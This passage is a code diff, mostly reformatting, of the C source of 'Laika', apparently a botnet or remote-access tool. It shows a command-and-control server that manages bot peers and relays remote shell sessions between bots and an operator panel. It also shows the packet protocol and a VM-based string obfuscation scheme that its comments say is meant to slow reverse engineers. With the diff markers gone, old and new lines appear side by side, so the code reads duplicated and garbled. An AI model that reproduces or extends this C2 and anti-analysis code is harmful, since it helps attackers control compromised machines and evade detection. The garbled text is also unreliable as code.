/* they passed! send list of our peers */
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
/* they passed! send list of our peers */
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
}
}
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer;
uint16_t cols, rows;
@ -91,8 +98,10 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
laikaC_openShell(peer, authPeer, cols, rows);
}
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_shellInfo *shell;
uint32_t id;
@ -106,15 +115,17 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
laikaC_closeShell(shell);
}
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer;
struct sLaika_shellInfo *shell;
uint32_t id;
if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));

View File

@ -1,13 +1,14 @@
#include "lmem.h"
#include "cpeer.h"
#include "cnc.h"
#include "cpeer.h"
#include "lerror.h"
#include "lmem.h"
/* =======================================[[ Peer Info ]]======================================= */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)laikaM_malloc(sz);
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
@ -20,29 +21,34 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
return pInfo;
}
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc)
{
struct sLaika_botInfo *bInfo =
(struct sLaika_botInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
/* TODO */
return bInfo;
}
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc)
{
struct sLaika_authInfo *aInfo =
(struct sLaika_authInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
/* TODO */
return aInfo;
}
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) {
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo)
{
peer->uData = NULL;
laikaM_free(pInfo);
}
/* ======================================[[ Shell Info ]]======================================= */
int findOpenShellID(struct sLaika_peerInfo *pInfo) {
int findOpenShellID(struct sLaika_peerInfo *pInfo)
{
int id;
for (id = 0; id < LAIKA_MAX_SHELLS; id++) {
@ -53,8 +59,11 @@ int findOpenShellID(struct sLaika_peerInfo *pInfo) {
return -1;
}
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows) {
struct sLaika_shellInfo *shell = (struct sLaika_shellInfo*)laikaM_malloc(sizeof(struct sLaika_shellInfo));
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
uint16_t cols, uint16_t rows)
{
struct sLaika_shellInfo *shell =
(struct sLaika_shellInfo *)laikaM_malloc(sizeof(struct sLaika_shellInfo));
shell->bot = bot;
shell->auth = auth;
@ -88,7 +97,8 @@ struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika
return shell;
}
void laikaC_closeShell(struct sLaika_shellInfo *shell) {
void laikaC_closeShell(struct sLaika_shellInfo *shell)
{
/* send SHELL_CLOSE packets */
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
@ -106,7 +116,8 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell) {
laikaM_free(shell);
}
void laikaC_closeShells(struct sLaika_peer *peer) {
void laikaC_closeShells(struct sLaika_peer *peer)
{
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
int i;
@ -118,8 +129,9 @@ void laikaC_closeShells(struct sLaika_peer *peer) {
/* ================================[[ [Peer] Packet Handlers ]]================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_shellInfo *shell;
uint32_t id;
@ -133,14 +145,15 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
laikaC_closeShell(shell);
}
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_shellInfo *shell;
uint32_t id;
/* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
@ -149,11 +162,11 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t));
laikaS_read(&peer->sock, (void *)buf, sz - sizeof(uint32_t));
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t));
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
laikaS_endVarPacket(shell->auth);
}

View File

@ -1,39 +1,48 @@
#include <stdio.h>
#include "ltask.h"
#include "lconfig.h"
#include "cnc.h"
#include "ini.h"
#include "lconfig.h"
#include "ltask.h"
#define STRING(x) #x
#include <stdio.h>
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
struct sLaika_taskService tService;
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
static int iniHandler(void *user, const char *section, const char *name, const char *value)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
if (MATCH("auth", "public-key-entry")) {
laikaC_addAuthKey(cnc, value);
} else if (MATCH("server", "port")) {
cnc->port = atoi(value);
} else {
return 0; /* unknown section/name, error */
return 0; /* unknown section/name, error */
}
return 1;
}
bool loadConfig(struct sLaika_cnc *cnc, char *config) {
#undef MATCH
bool loadConfig(struct sLaika_cnc *cnc, char *config)
{
int iniRes;
printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) {
if ((iniRes = ini_parse(config, iniHandler, (void *)cnc)) < 0) {
switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break;
case -2: printf("Memory allocation error :/\n"); break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
case -1:
printf("Couldn't load config file '%s'!\n", config);
break;
case -2:
printf("Memory allocation error :/\n");
break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
}
return false;
}
@ -41,11 +50,14 @@ bool loadConfig(struct sLaika_cnc *cnc, char *config) {
return true;
}
int main(int argv, char *argc[]) {
int main(int argv, char *argc[])
{
struct sLaika_cnc *cnc;
char *configFile = "server.ini";
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
/* load config file */
@ -56,7 +68,7 @@ int main(int argv, char *argc[]) {
return 1;
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void *)cnc);
/* start cnc */
laikaC_bindServer(cnc);

View File

@ -1,32 +1,36 @@
#ifndef LAIKA_LAIKA_H
#define LAIKA_LAIKA_H
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <string.h>
#include "lconfig.h"
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef DEBUG
# define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
# define LAIKA_DEBUG(...) \
printf("[~] " __VA_ARGS__); \
fflush(stdout);
#else
# define LAIKA_DEBUG(...) ((void)0) /* no op */
# define LAIKA_DEBUG(...) ((void)0) /* no op */
#endif
#ifndef _MSC_VER
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
#else
# define LAIKA_FORCEINLINE __forceinline
# define LAIKA_FORCEINLINE __forceinline
#endif
LAIKA_FORCEINLINE int MIN(int a, int b) {
LAIKA_FORCEINLINE int MIN(int a, int b)
{
return a < b ? a : b;
}
LAIKA_FORCEINLINE int MAX(int a, int b) {
LAIKA_FORCEINLINE int MAX(int a, int b)
{
return a > b ? a : b;
}

View File

@ -1,38 +1,43 @@
#ifndef LAIKA_BOX_H
#define LAIKA_BOX_H
#include <inttypes.h>
#include "laika.h"
#include "lmem.h"
#include "lvm.h"
#include "lsodium.h"
#include "lvm.h"
#include <inttypes.h>
#define LAIKA_BOX_SCRATCH_SIZE 128
#define LAIKA_BOX_HEAPSIZE 256
#define LAIKA_BOX_HEAPSIZE 256
enum {
enum
{
LAIKA_BOX_UNLOCKED_INDX, /* for output */
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
LAIKA_BOX_DATA_INDX /* for input */
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
LAIKA_BOX_DATA_INDX /* for input */
};
/* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked',
but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down.
/* Laika Box:
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short
amount of time. Of course, this can be bypassed with a simple debugger and setting a breakpoint
right after the data is 'unlocked', but the game of obfuscation isn't to prevent the data from
being seen, it's to slow the reverse engineer down.
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to
make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to
set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation
routine. This makes static analysis a painful route for string dumping. These apis, while can be
used directly, are abstracted through macros with the pre-built boxes.
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
however for the time being only LAIKA_BOX_SKID_* is implemented.
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in
`lboxconfig.h` are passed to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will
be extended in the future with more boxes and such, however for the time being only
LAIKA_BOX_SKID_* is implemented.
*/
struct sLaikaB_box {
struct sLaikaB_box
{
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
uint8_t code[LAIKA_VM_CODESIZE];
@ -40,74 +45,74 @@ struct sLaikaB_box {
/* ======================================[[ Box Var API ]]====================================== */
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
type ident; \
struct sLaikaB_box __box##ident = box; \
laikaB_unlock(&__box##ident, __data##ident); \
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
type ident; \
struct sLaikaB_box __box##ident = box; \
laikaB_unlock(&__box##ident, __data##ident); \
ident = (type)__box##ident.unlockedData;
#define LAIKA_BOX_ENDVAR(ident) \
laikaB_lock(&__box##ident);
#define LAIKA_BOX_ENDVAR(ident) laikaB_lock(&__box##ident);
#ifdef LAIKA_OBFUSCATE
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
# define LAIKA_BOX_SKID_END(ident) \
LAIKA_BOX_ENDVAR(ident)
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
# define LAIKA_BOX_SKID_END(ident) LAIKA_BOX_ENDVAR(ident)
#else /* disable obfuscations */
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
type ident = strmacro;
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
# define LAIKA_BOX_SKID_START(type, ident, strmacro) type ident = strmacro;
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif
/* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) { \
.unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \
[0] - unlockedData (ptr) \
[1] - data (ptr) \
[2] - key (uint8_t) \
[3] - working data (uint8_t) \
*/ \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \
/* LOOP_START */ \
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \
} \
}
#define LAIKA_BOX_SKID(_key) \
{ \
.unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \
[0] - unlockedData (ptr) \
[1] - data (ptr) \
[2] - key (uint8_t) \
[3] - working data (uint8_t) \
*/ \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), /* LOOP_START */ \
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \
} \
}
/* ======================================[[ Raw Box API ]]====================================== */
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
{
struct sLaikaV_vm vm = {
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
.constList = {
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
},
.code = {0},
.stack = {0},
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
.constList =
{
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
},
.code = { 0 },
.stack = { 0 },
.pc = 0
};
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
laikaV_execute(&vm);
return (void*)box->unlockedData;
return (void *)box->unlockedData;
}
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) {
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
{
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
}

View File

@ -1,18 +1,23 @@
#ifndef LAIKA_ERROR_H
#define LAIKA_ERROR_H
#include <stdio.h>
#include <setjmp.h>
#include "laika.h"
#include <setjmp.h>
#include <stdio.h>
/* defines errorstack size */
#define LAIKA_MAXERRORS 32
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
#define LAIKA_CATCH } else {
#define LAIKA_TRYEND } --eLaika_errIndx;
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
#define LAIKA_CATCH \
} \
else \
{
#define LAIKA_TRYEND \
} \
--eLaika_errIndx;
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
@ -23,24 +28,25 @@
arguments are ignored.
*/
#ifndef DEBUG
#define LAIKA_ERROR(...) do { \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while(0);
#define LAIKA_WARN(...) ((void)0) /* no op */
# define LAIKA_ERROR(...) \
do { \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while (0);
# define LAIKA_WARN(...) ((void)0) /* no op */
#else
#define LAIKA_ERROR(...) do { \
printf("[ERROR] : " __VA_ARGS__); \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while(0);
# define LAIKA_ERROR(...) \
do { \
printf("[ERROR] : " __VA_ARGS__); \
if (LAIKA_ISPROTECTED) \
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
else \
exit(1); \
} while (0);
#define LAIKA_WARN(...) \
printf("[WARN] : " __VA_ARGS__);
# define LAIKA_WARN(...) printf("[WARN] : " __VA_ARGS__);
#endif
extern int eLaika_errIndx;

View File

@ -7,37 +7,39 @@
/* microsoft strikes again with their lack of support for VLAs */
#if _MSC_VER
#define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type)*sz);
#define ENDVLA(var) laikaM_free(var);
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
# define ENDVLA(var) laikaM_free(var);
#else
#define VLA(type, var, sz) type var[sz];
#define ENDVLA(var) ((void)0) /* no op */
# define VLA(type, var, sz) type var[sz];
# define ENDVLA(var) ((void)0) /* no op */
#endif
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
#define laikaM_free(buf) laikaM_realloc(buf, 0)
#define laikaM_free(buf) laikaM_realloc(buf, 0)
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
#define laikaM_growarray(type, buf, needed, count, capacity) \
if (count + needed >= capacity || buf == NULL) { \
capacity = (capacity + needed) * GROW_FACTOR; \
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) do { \
int _i, _sz = ((count-indx)-numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx+_i] = buf[indx+numElem+_i]; \
count -= numElem; \
} while(0);
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(buf, count, indx, numElem) \
do { \
int _i, _sz = ((count - indx) - numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx + _i] = buf[indx + numElem + _i]; \
count -= numElem; \
} while (0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i-1]; \
count += numElem; \
} while(0);
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
#define laikaM_insertarray(buf, count, indx, numElem) \
do { \
int _i; \
for (_i = count; _i > indx; _i--) \
buf[_i] = buf[_i - 1]; \
count += numElem; \
} while (0);
void *laikaM_realloc(void *buf, size_t sz);

View File

@ -3,101 +3,108 @@
#include <inttypes.h>
#define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4
#define LAIKA_MAGIC "LAI\x12"
#define LAIKA_MAGICLEN 4
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPSTR_LEN 64
#define LAIKA_INET_LEN 22
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPSTR_LEN 64
#define LAIKA_INET_LEN 22
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS 16
/* first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
*/
/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
*/
#define LAIKA_MAX_SHELLS 16
/*
first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
inet ip
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
- cnc responds with LAIKAPKT_HANDSHAKE_RES
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
sent
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
{
LAIKAPKT_ID pktID; -- plain text
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
}
any packet ending with *_RES is cnc 2 peer
any packet ending with *_REQ is peer 2 cnc
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum {
/* =========================================[[ Peer ]]========================================== */
enum
{
/* =======================================[[ Peer ]]======================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
* nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
* inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
*/
* uint8_t cncEndian;
*/
LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG:
* NULL (empty packet)
*/
* NULL (empty packet)
*/
LAIKAPKT_SHELL_OPEN,
/* layout of LAIKAPKT_SHELL_OPEN:
* uint32_t id;
* uint16_t cols;
* uint16_t rows;
*/
* uint32_t id;
* uint16_t cols;
* uint16_t rows;
*/
LAIKAPKT_SHELL_CLOSE,
/* layout of LAIKAPKT_SHELL_CLOSE:
* uint32_t id;
*/
* uint32_t id;
*/
LAIKAPKT_SHELL_DATA,
/* layout of LAIKAPKT_SHELL_DATA
* uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* =========================================[[ Auth ]]========================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
* uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* =======================================[[ Auth ]]======================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char inet[LAIKA_INET_LEN];
* char ipStr[LAIKA_IPSTR_LEN];
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
